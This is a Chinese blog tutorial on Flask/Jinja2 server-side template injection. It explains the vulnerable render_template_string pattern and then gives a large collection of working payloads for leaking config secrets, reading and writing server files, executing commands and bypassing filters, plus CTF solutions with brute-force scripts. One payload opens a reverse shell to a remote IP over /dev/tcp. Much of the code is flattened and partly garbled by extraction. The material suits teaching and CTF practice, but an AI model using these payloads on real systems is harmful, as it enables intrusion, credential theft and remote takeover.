SSTI(Server-Side Template Injection),即服务端模板注入攻击,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架 smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控.
背景知识
Flask
Flask是一个使用Python编写的轻量级Web应用框架。其 WSGI 工具箱采用Werkzeug,模板引擎则使用Jinja2。
Jinja2
Jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。
在Jinja2中,存在三种语句:
1 2 3
控制结构 {% %} 变量取值 {{ }} 注释 {# #}
Jinja2模板中使用上述第二种的语法表示一个变量,它是一种特殊的占位符。当利用Jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,Jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。被两个括号包裹的内容会输出其表达式的值。
Jinja2中的过滤器可以理解为是Jinja2里面的内置函数和字符串处理函数。
模板渲染函数
render_template()
渲染过程如下,render_template()函数的第一个参数为渲染的目标html页面、第二个参数为需要加载到页面指定标签位置的内容 Demo app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from flask import Flaskfrom flask import request, render_templateapp = Flask(__name__) @app.route('/') def hello_ssti () : person = { 'name' : 'hello' , 'secret' : 'This_is_my_secret' } if request.args.get('name' ): person['name' ] = request.args.get('name' ) return render_template("index.html" , person=person) if __name__ == "__main__" : app.run(debug=True )
然后在当前目录新建templates目录,在其中新建index.html:
1
<h2>Hello {{ person.name }}!</h2>
当尝试进行XSS时,会自动被HTML编码过滤
render_template_string() 这个函数作用和前面的类似,顾名思义,区别在于只是第一个参数并非是文件名而是字符串。也就是说,我们不需要再在templates目录中新建HTML文件了,而是可以直接将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from flask import Flaskfrom flask import request, render_template_stringapp = Flask(__name__) @app.route('/') def hello_ssti () : person = { 'name' : 'hello' , 'secret' : 'This_is_my_secret' } if request.args.get('name' ): person['name' ] = request.args.get('name' ) template = '<h2>Hello {{ person.name }}!</h2>' return render_template_string(template, person=person) if __name__ == "__main__" : app.run(debug=True )
SSTI检测
通常测试模块类型的方式如下图: 这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说49会在 Twig 中返回49,而在 Jinja2 中则是7777777。
漏洞成因
由前面知道,要想实现模板注入,首先必须得注入模板执行语句,如:
但是在前面两个函数的Demo中,html内容中是以这种变量取值语句的形式来处理传入的参数的,此时person.name的值无论是什么内容,都会被当作是字符串来进行处理而非模板语句来执行,比如即使传入的是config来构成,但其也只会把参数值当作是字符串而非模板语句 通过%s这种传参形式来实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
rom flask import Flask from flask import request, render_template_stringapp = Flask(__name__) @app.route('/') def hello_ssti () : person = { 'name' : 'hello' , 'secret' : 'This_is_my_secret' } if request.args.get('name' ): person['name' ] = request.args.get('name' ) template = '<h2>Hello %s!</h2>' % person['name' ] return render_template_string(template, person=person) if __name__ == "__main__" : app.run(debug=True )
这里就能得出结论了:
SSTI漏洞点为在render_template_string()函数中,作为模板的字符串参数中的传入参数是通过%s的形式获取而非变量取值语句的形式获取,从而导致攻击者通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI攻击;
SSTI漏洞风险只出现在render_template_string()函数,而render_template()函数并不存在SSTI风险,因为render_template()函数中是传入到一个模板HTML文件中,而该html文件这种的变量取值语句实现不了修改成%s这种形式的;
漏洞利用
XSS
传入什么返回什么,第一时间想到的就是XSS。之前的变量取值语句传入时是会进行自动HTML编码的,但%s传入的参数是不会自动进行HTML编码的,因为Flask并没有将整个内容视为字符串。
敏感信息泄露
config是Flask模版中的一个全局对象,它代表”当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。 某些情况下,当获取secret_key后,即可对session进行重新签名,完成session的伪造。
注意:Flask的session是保存在客户端,称为客户端session,会进行编码和校验。
整合一下可利用的PoC技巧:
1 2 3 4 5
?name={{config}} ?name={{person.secret}} ?name={{self.__dict__}} ?name={{url_for.__globals__['current_app'].config}} ?name={{get_flashed_messages.__globals__['current_app'].config}}
任意文件读写
读文件
1 2 3 4 5 6 7
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()}} '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['file' ]('E:/passwd' ).read()'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['open' ]('E:/passwd' ).read()'' .__class__.__mro__[1 ].__subclasses__()[80 ].__init__.__globals__['__builtins__' ]['open' ]('E:/passwd' ).read()
不知道哪个可以模块可以直接使用
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open('app.py' ,'r' ).read () }}{% endif %}{% endfor %}
这里ptython的序号可以fuzz一下写文件
1 2 3 4 5 6 7
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd','w').write('test')}} '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['file' ]('E:/passwd' ,'w' ).write('test' )'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['file' ]('E:/passwd' ,'w' ).write('test' )
命令执行
利用from_pyfile加载对象到Flask配置环境
这种利用方式算是一种简单的漏洞组合拳。
先利用文件写入漏洞写一个Python文件:
1
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/m7.py','w').write('from subprocess import check_output\nRUNCMD=check_output\n')}}
然后使用config.from_pyfile将该Python文件加载到config变量中:
1
?name={{config.from_pyfile('E:/m7.py')}}
访问全局变量config查看是否加载成功: 然后使用config.from_pyfile将该Python文件加载到config变量中:
1
?name={{config.from_pyfile('E:/m7.py')}}
访问全局变量config查看是否加载成功: 加载成功后,就可以通过以下形式执行任意命令了:
1
?name={{config['RUNCMD']('whoami')}}
利用元素链中可利用的命令执行函数
1 2
python3: GET /?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['linecache'].__dict__['os'].system('calc')}}
有回显的命令 python2
1 2 3 4 5 6 7 8 9
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}} ?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}} ?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}} ?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}}
python3
1 2 3 4 5 6 7 8 9 10
os.popen(cmd).read() ?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}} platform.popen(cmd).read() ?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}} sys.modules间接调用前面两个模块 ?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('sys').modules['os'].popen('whoami').read()}} ?name={{''.__class__.__mro__[1].__subclasses__()[181].__init__.__globals__['__builtins__']['__import__']('sys').modules['platform'].popen('whoami').read()}} `
反弹shell
1 2
'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1').read()" )'' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('os' ).popen('bash -i >& /dev/tcp/192.168.86.131/8080 0>&1' ).read()
控制结构
1 2 3 4 5
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} ?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('E:/passwd', 'r').read() }}{% endif %}{% endfor %}
bypass
无法直接获取全局变量config
1 2 3
?name={{config}} ?name={{url_for.__globals__['current_app'].config}} ?name={{get_flashed_messages.__globals__['current_app'].config}}
过滤引号
request.args是Flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤:
1
?name={{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=e:/passwd.txt
过滤双下划线
同样是利用Flask的request.args属性来绕过:
1
?name={{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('E:/passwd.txt').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
过滤[]等括号
1
"" .__class__.__bases__.__getitem__(0 )
过滤了__subclasses__
,拼凑法
实战例题
[CSCCTF 2019 Qual]FlaskLight
写个脚本寻找有用模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import requestsurl="http://00121ac8-b368-4116-bfde-a17de3e5d6fb.node3.buuoj.cn/?" for i in range(1 ,1000 ): payload="search={{[].__class__.__mro__[1].__subclasses__()[%s]}}" %i r=requests.get(url+payload).text if 'subprocess.Popen' in r: print('subprocess.Popen: ' ,i) if 'file' in r: print('file: ' ,i) if 'catch_warnings' in r: print('catch_warnings: ' ,i) if 'WarningMessage' in r: print('WarningMessage: ' ,i)
读取/proc/self/cmdline 得到python /flasklight/app.py
1
?search={{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/cmdline','r').read()}}
读取/flasklight/app.py
1
?search={{''.__class__.__mro__[2].__subclasses__()[40]('/flasklight/app.py','r').read()}}
/flasklight/app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
from flask import Flask, request, render_template_string, abortapp = Flask(__name__) app.secret_key = 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}' result = ["CCC{[email protected] }" , "CSC CTF 2019" , "Welcome to CTF Bois" , "CCC{Qmu_T3rtyPuuuuuu}" ,"Tralala_trilili" ] @app.route("/") def search () : global result blacklist = ['url_for' , 'listdir' , 'globals' ] search = request.args.get('search' ) or None if search is not None : for black in blacklist: if black in search: abort(500 ) if search in result: result = search return render_template_string( '''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % ( search, result)) elif search == None : return render_template_string( '''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3><br> <!-- Parameter Name: search --> <!-- Method: GET --> </body> </html>''' % ( search, result)) else : result = [] return render_template_string( '''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % ( search, result)) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=9000 )
过滤了global
1
{{[].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
可以拼接绕过
1
{{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen("ls").read()}}
[RootersCTF2019]I_<3_Flask
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requestsurl="http://1713eb16-da0f-4b9f-bcb6-dd79d1cdf38a.node3.buuoj.cn/?name=" for i in range(1 ,1000 ): payload="{{ye1s.__class__.__mro__[1].__subclasses__()[%s]}}" %i r=requests.get(url+payload).text if 'subprocess.Popen' in r: print('subprocess.Popen: ' ,i) print(payload+"('whoami',shell=True,stdout=-1).communicate()[0].strip()" ) if 'file' in r: print('file: ' ,i) if 'catch_warnings' in r: print('catch_warnings: ' ,i) if 'WarningMessage' in r: print('WarningMessage: ' ,i)
或者
1
?name={{lipsum.__globals__.os.popen('whoami').read()}}
参考文章:Flask/Jinja2 SSTI 学习 浅析Python Flask SSTI flask之ssti模版注入从零到入门 Python模板注入(SSTI)深入学习
FROM :blog.cfyqy.com | Author:cfyqy
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
评论